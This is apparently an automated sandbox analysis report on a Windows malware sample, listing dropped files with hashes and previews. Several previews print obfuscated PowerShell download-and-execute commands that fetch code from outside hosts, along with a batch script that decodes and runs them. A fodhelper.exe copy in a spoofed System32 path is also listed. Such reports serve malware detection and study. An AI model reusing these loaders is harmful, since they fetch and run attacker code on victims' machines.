File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1252, Author: Kevin L. Brown, Last Saved By: Kevin L. Brown, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jul 8 05:30:37 2004, Last Saved Time/Date: Thu Jul 8 05:31:51 2004, Security: 0
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	1.6185718615500775
Encrypted:	false
SSDEEP:	96:ULVy43AgdLSUX2dIE3wvOc3xc/cc/gTpo+:ULg43AgdLSUX0wq/9/09
MD5:	277F810450728D90009B4D73D108B744
SHA1:	E7593ED30F32E4FC8FCFED05EE4E2C6191F13C68
SHA-256:	FE2ADBF024D0B5DA39CB18A17C2BAEC77111013B250993DF22C7D6770B487679
SHA-512:	C44E64D461E601073ACB8980314048D7C4004E8059F61FE4F67231942E783E8BBA0DD4198A4387AD4C918219D372843326BF8ADCF5BE43468C0891842D328B74
Malicious:	false
Preview:	......................>...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................\.p....Kevin L. Brown B.....a.........=.............................................=.....Z.[;.08.......X.@...........".......................1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.........."$"#,##0_);$"$"#,##0$..!......"$"#,##0_);[Red]$"$"#,##0$.."......"$"#,##0.00_);\("$

C:\Users\Public\filessystem\files3.xls

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.0, Code page: 1252, Author: Microsoft Corporation, Last Saved By: Jean-Paul Mesnage, Name of Creating Application: Microsoft Excel, Create Time/Date: Mon Oct 21 12:03:58 1996, Last Saved Time/Date: Tue Feb 17 15:48:14 2009, Security: 0
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	2.0540200611101174
Encrypted:	false
SSDEEP:	96:UqLyl2JLIqgchloB8MQj4dWb/ec/Oc/Oc/5CDch7+:Uqs2dhlFjl/D/D/56
MD5:	48EA6822CA50D0ED031947B9D8D329C1
SHA1:	F5548BCBD70EA31E567251317FDD2D34F001C160
SHA-256:	AD62ACE472F8D341FE65EA4DD633D9F1CA3B04A82A66CF33A2D17794711AE241
SHA-512:	62700CD2657D7A551E2CFEE5C90FBD5DC65B837734119F6BBAC5D4E0545ECECB9BA8BEACDF7427790845E0B02B3D4F1EA7ADE8C11C6B4FDA6CEB3213750A3F62
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................- ..........................\.p....Jean-Paul Mesnage B.....a.........=.............................................=........#..8.......X.@...........".......................1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l...3......#.,.#.#.0.\. .".. ".;.\.-.#.,.#.#.0.\. .".. "...=......#.,.#.#.0.\. .".. ".;.[.R.e.d.].

C:\Users\Public\filessystem\files4.xls

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Sep 19 16:36:07 2013, Security: 0
Category:	dropped
Size (bytes):	398336
Entropy (8bit):	4.24412176987105
Encrypted:	false
SSDEEP:	3072:DJXKfgewihCxsRHQC4nqoOmdEh6kXu5GxKlAq3Va87h+BOy8PtaX47fBUL5:wYew9x+FAqHukvRoVaEh8O9tJJ0
MD5:	3AFB5F71269EAD99550DC48426D3502A
SHA1:	9839DB2ED2499D5553334BE15FB14EB0359594CA
SHA-256:	AE0178828453E257C5C7A0EEF40235CABCFFCA638F4C3947AEAF54106C9C47CA
SHA-512:	596B031FDC1B79DA0C58AAE223BB27C221C12DC7CA0EC07B71188215BA4D0B83917AC555F359BCB323F37F902AD12CEA0D3ED75B2A7FBEE3552BF369B58610FE
Malicious:	false
Preview:	......................>.......................................................b.......d.......f........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...c.......d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\Public\filessystem\files5.xls

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Sun Jan 27 15:02:36 2013, Security: 0
Category:	dropped
Size (bytes):	486400
Entropy (8bit):	4.306614948188846
Encrypted:	false
SSDEEP:	6144:s0TlRpT5VbqEq+DfnJKjcuXG9do1+BcKz4oFLfQ4kfA:/TlnblNb3VwuTkI
MD5:	692A4B5440A26CBA9A76AC6C64BA5849
SHA1:	484B0921F160216B8A4D93C60A3CD693F079E66A
SHA-256:	D8B2BE9626555DAB72A5EDCE2953F6E3C3598B5499614E16DF83348B3378080B
SHA-512:	494C2980F636DF8B57C71BE25ED77CE0DBAE43A52FAFA710DCBB622D16C85ABB39A3E6E795CAE5CDBAE88967930921A5C559B62F9DA531575A21A1813BD80BAC
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................g2.........................\.p.... B.....a.........=...............................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................A.r.i.

C:\Users\Public\filessystem\files6.xls

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Sun Jan 27 15:48:01 2013, Security: 0
Category:	dropped
Size (bytes):	907264
Entropy (8bit):	3.6902910051007884
Encrypted:	false
SSDEEP:	6144:anoLgsIsQzIqQWnoayrbu6R6QDqWhhfnJKjcuXG9do1+BcKz4oFLfQ4kuY:fMj7c1CFgbj0QuiF3VwuTkv
MD5:	6C241C20CD21BD449CEE51D76B02480E
SHA1:	582F0B70672A42D7ED60266529FB5DACD62704E1
SHA-256:	D546FBC3FA5F9C819953839C836945CBD41355F91E2ED3F3E97E5A2BE7F93AA9
SHA-512:	5207CC06B20EBEB9263CCBFC1C00D3D45F2FCFF34FC7BB350B1A5FC5FE3D1E9396106B1753259B9AAE6A83440CC6B91038FCFE36B54E6CEA36FDBC7546DABA2C
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................g2.........................\.p.... B.....a.........=...............................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................A.r.i.

C:\Users\Public\filessystem\files7.xls

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Sun Jul 7 18:42:17 2013, Security: 0
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	2.9039446192604257
Encrypted:	false
SSDEEP:	192:qqiZDO+G0eo+s13x/lILZnBrJXaM2ESIXOVCCMwUNk3D37lulatlX3v:2DOqVC1k3DLlulalnv
MD5:	7852399837E805E239886D30CBBD6BFA
SHA1:	7712DED795C2671D96937573F103469616E2B25E
SHA-256:	6922333639B8631ADB1991FE8DA09E54C47AF7572E65FDF123CB670DD71F14F3
SHA-512:	AE92FDC462DF9524F6569210D9429AE1DAFFECBE7744361E7E6836FCFDC4BDD5F238720A9C550067ADDA96E6FA6DEBFCB32C0DEE4E5C8D980D01684B981DA978
Malicious:	false
Preview:	......................>...................................................-...........................................................................................................................................................................................................................................................................................................................................................................................................................................................g2.........................\.p.... B.....a.........=.............................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................A.r.i.a.l.1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................A.r.i.a.

C:\Users\Public\filessystem\files8.xlsx

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695566741548326
Encrypted:	false
SSDEEP:	24:61iSJC9lUfmxZoTgwj7WkGrivJpQ4t468phJvvHIm:6M/lU+x27HleIQ4t4bHIm
MD5:	CA699715DA51DFD5AB81CDA02AFD2CD7
SHA1:	72D44C17A04FAB316BEA20F61A80D7AC787879D4
SHA-256:	BA61F500E1845F2FC03C990DA95B7DD92ED8B7583744C941D37BDD90DA666D21
SHA-512:	497F9D6B6EE52454F4B740A6B765F46EBC10575E9A20B62D76594E1CC4E37868182D18315E05E62A78D5131A5569C95C8989F248E3A8C72BD95A99883DF196D2
Malicious:	false
Preview:	IZMFBFKMEBTITTFFYOGRJOKLUYKYEMJURKRTIEUFEDJKBQPELZNUOXWVNDZJRAOONFPZIJHBCSQXWTLQPDNPIJFFQZDETQFKNDQYRTMSHJIWQXJBNOXAVBJCARKFOKHIBUFVCEOHZTISPCFZSEFFASUHHMDHUBAMSDTGESWVKGUMZNYRLTUEBNLLDQOMZLGIFYUADUMCNGQHUWJKQAWHNDDSWUDEYOPPNFAUERMDDQUABWZCHPIWYDNDHUXDNYSLQSQXHUJRCQMGRZMRHEOVRBHVMIEIIBHEADKNABKWVMULXGOWXFOLUTZDUOKAMBBJKEPASVGVTDOUQMBCJGMPZZSAVFTSOBTVJPGYYQSJQWHRBFXNUHYKYXWZSTJELLKRMBHUVLFEPITLTURHTDAKMVDVNYWADPMNSQACTPRPTZDAYSYQHCRSDUXMKTYASRROVGGBBIXHTORYFNKLOIBCKWHWPTJGKEQOSVXTUUTFZVORIRTKYSUWDEDDGTJHWLZYRYCPYUENHHDNRWCVEAZUDOXSWLHJDIGSALQSCJKGZEXAIJUDAQHXCOAVPDFCQIEHQEFVSBLKSKPDHYCYSPHGVTEDVHAWYWOOWFAJSTOXLDYSHUWZIJQGRICKYUZPXLOZURIDFCEWXUMATNYLUVJTEOTDEYCCRPCVBPHMOLWESOWCICFDWLNMYIPCOLYFBDDSRCSOZZCSIWGDPTAXMSUSNBSGLDTYGEEBZGXKIVMAHAMBSJEUPRTVXERTMYQWIYUTCCWNXDLXQQSMSGHDXMIYKWUXJBHOCOBAEVHTWJOZVUWZIGVYBPSQGRQDABKLPWJJRURTHDJAMMOZSJFGCHHDVYXDYYIUIOZDZJWQLIKTEKOTISNTJFMZOMVLIYUHJEAMEKRMBWXHAYWZVDUJKHILQWXCRKUPFLJKIKWARBWYUOFDHFXEHJWSBCSSQMNJANADKJFCPMBCMQGQXNUCZETZWJFUFSMVAZQXHOGKPFDO

C:\Users\Public\filessystem\files9.xlsx

Download File

Process:	C:\_nczuwk7_H\_nczuwk7_H.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Windows \System32\fodhelper.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49664
Entropy (8bit):	5.876977574715819
Encrypted:	false
SSDEEP:	768:WwU7bDT2KLt6oPjQQ5fxGIjN44MgZkD9TpiPogpUORaNpohsySZlv7:WtfT2KwoPBxjN4zDbgpUOoo1SZ17
MD5:	85018BE1FD913656BC9FF541F017EACD
SHA1:	26D7407931B713E0F0FA8B872FEECDB3CF49065A
SHA-256:	C546E05D705FFDD5E1E18D40E2E7397F186A7C47FA5FC21F234222D057227CF5
SHA-512:	3E5903CF18386951C015AE23DD68A112B2F4B0968212323218C49F8413B6D508283CC6AAA929DBEAD853BD100ADC18BF497479963DAD42DFAFBEB081C9035459
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: Factura-2410-CFDI.bat, Detection: malicious, Browse Filename: rPO767575.cmd, Detection: malicious, Browse Filename: KKKK.hta, Detection: malicious, Browse Filename: ZG7UaFRPVW.exe, Detection: malicious, Browse Filename: IN-34823_PO39276-pdf.vbe, Detection: malicious, Browse Filename: 7XU2cRFInT.exe, Detection: malicious, Browse Filename: megerosites.cmd, Detection: malicious, Browse Filename: Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe, Detection: malicious, Browse Filename: Payroll for July.exe, Detection: malicious, Browse Filename: 2nd_Quarter_Order_Sheet_xls_0000000000000000000.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y.-.=.C.=.C.=.C.4...#.C.).F.<.C.).@.?.C.).G.).C.).B.6.C.=.B.O.C.).K.;.C.)..<.C.).A.<.C.Rich=.C.........................PE..d....*}..........."..........D......`..........@............................. ....................... ..........................................h...............X.......................T........................... ...............8................................text.............................. ..`.imrsiv..................................rdata..2&.......(..................@..@.data...............................@....pdata..X...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Wins32Update_\A

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	297
Entropy (8bit):	3.199151275022552
Encrypted:	false
SSDEEP:	6:fRnNiTwFOhT6WVhEqnXcx92Ldr9CRLN2Ih8OH/DlB1:5nNis+hFnXogEJ
MD5:	BB038FAC811EADD2416418A256332A6C
SHA1:	866257DCCA41E019648A672C1F5E4BE614C8AFF4
SHA-256:	0AA85B2F36B77769772AF83631079DBFED38D08502E1A60AE9D1A2DFFFEF8057
SHA-512:	CE40DD989E6E294F92FE1DCED8CBB607E87C27BB5C5F8D61B1FE272A2B4A2540F3A9BCFAA36E9EC20093D2654BEF78422624352EE0AB28E13A2D5C30369818D3
Malicious:	false
Preview:	@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28://@12@24@23@29@10@11@21@14@11@10@27.@28@17@24@25/@21@21@2@3@1@0/@10@29@3') \| @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1..

C:\Wins32Update_\up.cmd

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	463
Entropy (8bit):	5.41522309529663
Encrypted:	false
SSDEEP:	6:/I1EGxA1EyHYuvQqWmGki2ZmPN+6LO5SfoY5URNQnF/FI7p3AroioxgGI7p1GI7b:/IUb4u4tmm2ZQN+6LO5Sfy8n6pArt7qm
MD5:	41EBA80CB324D07670A3B61881535430
SHA1:	748BA6F8572AFF7E8E443013C1F0B252E76A24C5
SHA-256:	83FA1393C1FACDD3CC103BE13F25A289EF56B94FD2D3D4CADB83461D76745188
SHA-512:	C7DA58A768C9E7DA2980BC23709BCB2A1BCAA4D50CC3E8894469F36FF0888341CE446F2C35950B5BB8FC06431279B9B58C53D01A90D524B126BE5C1E80E630B1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@Echo off..Setlocal EnableExtensions..Setlocal EnableDelayedExpansion..cd %SystemRoot%\System32..Set /P _ghqatk7_J=<"C:\Wins32Update_\A"..set chars=0123456789abcdefghijklmnopqrstuvwxyz..for /L %%N in (10 1 36) do (..for /F %%C in ("!chars:~%%N,1!") do (..set "_ghqatk7_J=!_ghqatk7_J:%%N=%%C!"..)..)..)..for /F %%F in ("!_ghqatk7_J!") do (..set "_ghqatk7_J=!_ghqatk7_J:@=!"..)..for /F %%F in ("!_ghqatk7_J!") do (..set "_ghqatk7_J=!_ghqatk7_J:"=!"..)..%_ghqatk7_J%

C:\_nczuwk7_H\6.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	68876304
Entropy (8bit):	7.999997656729386
Encrypted:	true
SSDEEP:	1572864:Rts7b0gtxJxxuUVZtnfevDyctqmZdCVQBhVTOO27ITAJhWIvvqxsCKO:RSHNBFfev+AqmBCT7vA7
MD5:	133573CD0833DD083212DAE25BAAF461
SHA1:	7D30B40302EA2AF40CB3A2F28A07004B6DAB0D04
SHA-256:	BC5A56399FDA9A1058033B95879DB3BF2D23E454612CA5117B8C7C8F268E5C6C
SHA-512:	97BC563B5FC5C712E26A983AC9E1B25EEE0EB135A75B0BF35C38BCEB1EA57FDF54FF414E4B7D769284E212A191F698585C1313FF18D10F615A5678B88B1DDE07
Malicious:	false
Preview:	...}/C~.Qz..^.i.a.2.(..'....-..#.$..8..[.Q......xD.P.5..Y....)7Rr..48i....u.sN.-,:...h#.\|..D..V.u...$g......%....r...V..H.-....hHpZ.:.........~......x.9AN.Q%..$..E...{#.O...\...)..OE...J.NF....B.[.-@...<.d.4<j..).{.AP..b`.1&..fB.L.K...W..E.f.s...D".B.+..l.h.Ye...w.<.H.]_...Q.Ae.F9...%..w>T.%...t0v....g..S..#_J4...b..U.<......Z(He..#5..+....V..Q.{9m{.O..R.3..\7...,.\7..#..<y..FC`.`3...jW#.....gq.W.9{(...k...W..[....6.P.A.06..\...`.D1....d.X .....T.5@...C./..}.i.!.1...Kp.<,J.]c.T.P.JGCY-.;-..aa.]..16~.1:B.5..#A+....U 1....4S.....dG.Lri..{..Mt.>.#.@.m.u\|..8....-..-.I).q.n......!-.G..{Nm$.......<.pDkR.f...\|+.?..-[@..'.)...YL.._.q...v .i.S....\|8.0 ..........ot.I.k..K....../t.0.G.....h....8...%M..E.BI..DD...q.`9.F..S".J..AW.0N.J.\|l..f..e.E..A0..._.....'!.aP.f....^....).S..d\|.eo.'.x.....K...........6..>.mD.d....Z.j...h...Vq.....4.Mz.b`.....B..S.....Y...0..0..6.....6..Q...iLx...T.q5.a.}*7LHq....m.x.o...X&..L-.........{u...qY...=...."h..dP..<

C:\_nczuwk7_H\MSVCR100.dll (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901569696995594
Encrypted:	false
SSDEEP:	12288:yMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BV0eAI:dmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV4I
MD5:	BF38660A9125935658CFA3E53FDC7D65
SHA1:	0B51FB415EC89848F339F8989D323BEA722BFD70
SHA-256:	60C06E0FA4449314DA3A0A87C1A9D9577DF99226F943637E06F61188E5862EFA
SHA-512:	25F521FFE25A950D0F1A4DE63B04CB62E2A3B0E72E7405799586913208BF8F8FA52AA34E96A9CC6EE47AFCD41870F3AA0CD8289C53461D1B6E792D19B750C9A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: , Detection: malicious, Browse Filename: DHzscd9uqT.exe, Detection: malicious, Browse Filename: AYoF5MX6wK.exe, Detection: malicious, Browse Filename: Componente_Firma_3.0.14_x86_BUNDLE.exe, Detection: malicious, Browse Filename: Factura-2410-CFDI.bat, Detection: malicious, Browse Filename: mXF65oa1GJ.exe, Detection: malicious, Browse Filename: mXF65oa1GJ.exe, Detection: malicious, Browse Filename: Confirm Me.exe, Detection: malicious, Browse Filename: PInstaller.exe, Detection: malicious, Browse Filename: 123.sfx.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L..."._M.........."!.........................0.....x................................u.....@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\_nczuwk7_H\MSVCR100.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901569696995594
Encrypted:	false
SSDEEP:	12288:yMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BV0eAI:dmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV4I
MD5:	BF38660A9125935658CFA3E53FDC7D65
SHA1:	0B51FB415EC89848F339F8989D323BEA722BFD70
SHA-256:	60C06E0FA4449314DA3A0A87C1A9D9577DF99226F943637E06F61188E5862EFA
SHA-512:	25F521FFE25A950D0F1A4DE63B04CB62E2A3B0E72E7405799586913208BF8F8FA52AA34E96A9CC6EE47AFCD41870F3AA0CD8289C53461D1B6E792D19B750C9A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L..."._M.........."!.........................0.....x................................u.....@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\_nczuwk7_H\computer_nczuwk7_H

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (309), with CRLF line terminators
Category:	dropped
Size (bytes):	311
Entropy (8bit):	3.2821443895067426
Encrypted:	false
SSDEEP:	6:fRnNiTwFOhT6WVhEqnXcx92LdruVLPP8uIl8OH/DlBMn:5nNis+hFnXoTh8tXon
MD5:	9EEF5704EEE9804821E4FA15C3B3C0A2
SHA1:	FA7B0635100193C379E3293A4D86B3A102F8EA7E
SHA-256:	BB10F377964EC71C40F066BF1EC96076C60E00CC69A10F2FBB06B88324000051
SHA-512:	BB78D15F44395F1FE9B4960301B1663C861A1398BE5F907C7609BFD691514879EAEF586278915517E5DC593A7ACB462B6AD550E82600D98D8927C9E9A9795D51
Malicious:	false
Preview:	@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28://@12@24@23@29@10@11@21@14@15@14@10.@28@17@24@25/@10/@0@8/@1@5@0@8@2@2/@30@25/@30@25') \| @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1 -..

C:\_nczuwk7_H\computer_nczuwk7_Hy

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (309), with CRLF line terminators
Category:	dropped
Size (bytes):	311
Entropy (8bit):	3.2801789483263706
Encrypted:	false
SSDEEP:	6:fRnNiTwFOhT6WVhEqnXcx92LdruVLPP82eZFl8OH/DlBMn:5nNis+hFnXoTh82eZhon
MD5:	D09D8BA8EB918232C2181A573925F02D
SHA1:	475F9913FC282CCB2C47C9659D25F373F9242574
SHA-256:	D591F337B5E5093C9413CCA3DE6F59B1419F9B8B7A1F292F83B8714ED08D16F4
SHA-512:	2D24A3B52585A7BB144EA8936A01D2D27907DDEDAD7B4468C724FB9ABEB5FE5BBD114685543810BA90A0C8F70D400EAB6BEEC4D75372EA7D9504BA62EB2EB001
Malicious:	false
Preview:	@14@12@17@24 @18@14@33 (@23@14@32-@24@11@19@14@12@29 @23@14@29.@32@14@11@12@21@18@14@23@29).@13@24@32@23@21@24@10@13@28@29@27@18@23@16('@17@29@29@25@28://@12@24@23@29@10@11@21@14@15@14@10.@28@17@24@25/@10/@0@8/@1@5@0@8@2@2/@10@30/@10@30') \| @25@24@32@14@27@28@17@14@21@21.@14@33@14 -@23@24@25 -@32@18@23 @1 -..

C:\_nczuwk7_H\WebView2Loader.dll (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	108448
Entropy (8bit):	6.4314522815075446
Encrypted:	false
SSDEEP:	3072:iTC3F6JkULenwAFqz5pV3+Zqocv0T+EtO5pf+gMl/1:iuV66kL5pjxEtqpWRl/1
MD5:	61E6B94AB6109254FBEF360681F5B80D
SHA1:	204A5EDA5FEA33A56EDB33B9CCD40AF635A04564
SHA-256:	446B4D19ED8FA1563B77A7F36261B76911B208AF1D00A805D54E44B01CA3F54A
SHA-512:	93FAD29F13C0A18E4864DDF57AEBA882FB411B84F6DFF993B87295A1B5E4B488433802C2150FBF25A3132379DC2EB3AA02D836059B0EF24A2DB4269EB0795A9B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......a.........."!.................8...............................................0....@A.........................].......^..(........................#......L...X[.......................Y......`...............X`..<....\..`....................text...G........................... ..`.rdata..Lm.......n..................@..@.data........p.......\..............@....00cfg...............f..............@..@.tls.................h..............@....voltbl.H............j...................rsrc................l..............@..@.reloc..L............r..............@..B........................................................................................................................................................................................................................................................................................................................

C:\_nczuwk7_H\WebView2Loader.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	108448
Entropy (8bit):	6.4314522815075446
Encrypted:	false
SSDEEP:	3072:iTC3F6JkULenwAFqz5pV3+Zqocv0T+EtO5pf+gMl/1:iuV66kL5pjxEtqpWRl/1
MD5:	61E6B94AB6109254FBEF360681F5B80D
SHA1:	204A5EDA5FEA33A56EDB33B9CCD40AF635A04564
SHA-256:	446B4D19ED8FA1563B77A7F36261B76911B208AF1D00A805D54E44B01CA3F54A
SHA-512:	93FAD29F13C0A18E4864DDF57AEBA882FB411B84F6DFF993B87295A1B5E4B488433802C2150FBF25A3132379DC2EB3AA02D836059B0EF24A2DB4269EB0795A9B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......a.........."!.................8...............................................0....@A.........................].......^..(........................#......L...X[.......................Y......`...............X`..<....\..`....................text...G........................... ..`.rdata..Lm.......n..................@..@.data........p.......\..............@....00cfg...............f..............@..@.tls.................h..............@....voltbl.H............j...................rsrc................l..............@..@.reloc..L............r..............@..B........................................................................................................................................................................................................................................................................................................................

C:\_nczuwk7_H\_nczuwk7_H._nczuwk7_H

Download File

